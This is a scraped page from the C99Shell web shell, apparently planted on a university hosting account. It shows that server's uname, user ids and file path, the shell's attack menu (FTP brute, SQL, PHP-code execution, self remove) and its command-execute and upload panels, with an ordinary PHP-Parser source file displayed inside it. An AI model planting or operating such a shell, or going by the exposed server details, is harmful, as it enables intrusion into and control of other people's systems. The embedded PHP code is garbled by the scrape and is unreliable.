!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/nikic/php-parser/lib/PhpParser/   drwxr-xr-x
Free 116.83 GB of 200.55 GB (58.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     BuilderAbstract.php (4.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpParser;

use 
PhpParser\Node\Name;
use 
PhpParser\Node\Expr;
use 
PhpParser\Node\Stmt;
use 
PhpParser\Node\Scalar;
use 
PhpParser\Comment;

abstract class 
BuilderAbstract implements Builder {
    
/**
     * Normalizes a node: Converts builder objects to nodes.
     *
     * @param Node|Builder $node The node to normalize
     *
     * @return Node The normalized node
     */
    
protected function normalizeNode($node) {
        if (
$node instanceof Builder) {
            return 
$node->getNode();
        } elseif (
$node instanceof Node) {
            return 
$node;
        }

        throw new \
LogicException('Expected node or builder object');
    }

    
/**
     * Normalizes a name: Converts plain string names to PhpParser\Node\Name.
     *
     * @param Name|string $name The name to normalize
     *
     * @return Name The normalized name
     */
    
protected function normalizeName($name) {
        if (
$name instanceof Name) {
            return 
$name;
        } elseif (
is_string($name)) {
            if (!
$name) {
                throw new \
LogicException('Name cannot be empty');
            }

            if (
$name[0] == '\\') {
                return new 
Name\FullyQualified(substr($name1));
            } elseif (
=== strpos($name'namespace\\')) {
                return new 
Name\Relative(substr($namestrlen('namespace\\')));
            } else {
                return new 
Name($name);
            }
        }

        throw new \
LogicException('Name must be a string or an instance of PhpParser\Node\Name');
    }

    
/**
     * Normalizes a value: Converts nulls, booleans, integers,
     * floats, strings and arrays into their respective nodes
     *
     * @param mixed $value The value to normalize
     *
     * @return Expr The normalized value
     */
    
protected function normalizeValue($value) {
        if (
$value instanceof Node) {
            return 
$value;
        } elseif (
is_null($value)) {
            return new 
Expr\ConstFetch(
                new 
Name('null')
            );
        } elseif (
is_bool($value)) {
            return new 
Expr\ConstFetch(
                new 
Name($value 'true' 'false')
            );
        } elseif (
is_int($value)) {
            return new 
Scalar\LNumber($value);
        } elseif (
is_float($value)) {
            return new 
Scalar\DNumber($value);
        } elseif (
is_string($value)) {
            return new 
Scalar\String_($value);
        } elseif (
is_array($value)) {
            
$items = array();
            
$lastKey = -1;
            foreach (
$value as $itemKey => $itemValue) {
                
// for consecutive, numeric keys don't generate keys
                
if (null !== $lastKey && ++$lastKey === $itemKey) {
                    
$items[] = new Expr\ArrayItem(
                        
$this->normalizeValue($itemValue)
                    );
                } else {
                    
$lastKey null;
                    
$items[] = new Expr\ArrayItem(
                        
$this->normalizeValue($itemValue),
                        
$this->normalizeValue($itemKey)
                    );
                }
            }

            return new 
Expr\Array_($items);
        } else {
            throw new \
LogicException('Invalid value');
        }
    }

    
/**
     * Normalizes a doc comment: Converts plain strings to PhpParser\Comment\Doc.
     *
     * @param Comment\Doc|string $docComment The doc comment to normalize
     *
     * @return Comment\Doc The normalized doc comment
     */
    
protected function normalizeDocComment($docComment) {
        if (
$docComment instanceof Comment\Doc) {
            return 
$docComment;
        } else if (
is_string($docComment)) {
            return new 
Comment\Doc($docComment);
        } else {
            throw new \
LogicException('Doc comment must be a string or an instance of PhpParser\Comment\Doc');
        }
    }

    
/**
     * Sets a modifier in the $this->type property.
     *
     * @param int $modifier Modifier to set
     */
    
protected function setModifier($modifier) {
        
Stmt\Class_::verifyModifier($this->type$modifier);
        
$this->type |= $modifier;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0119 ]--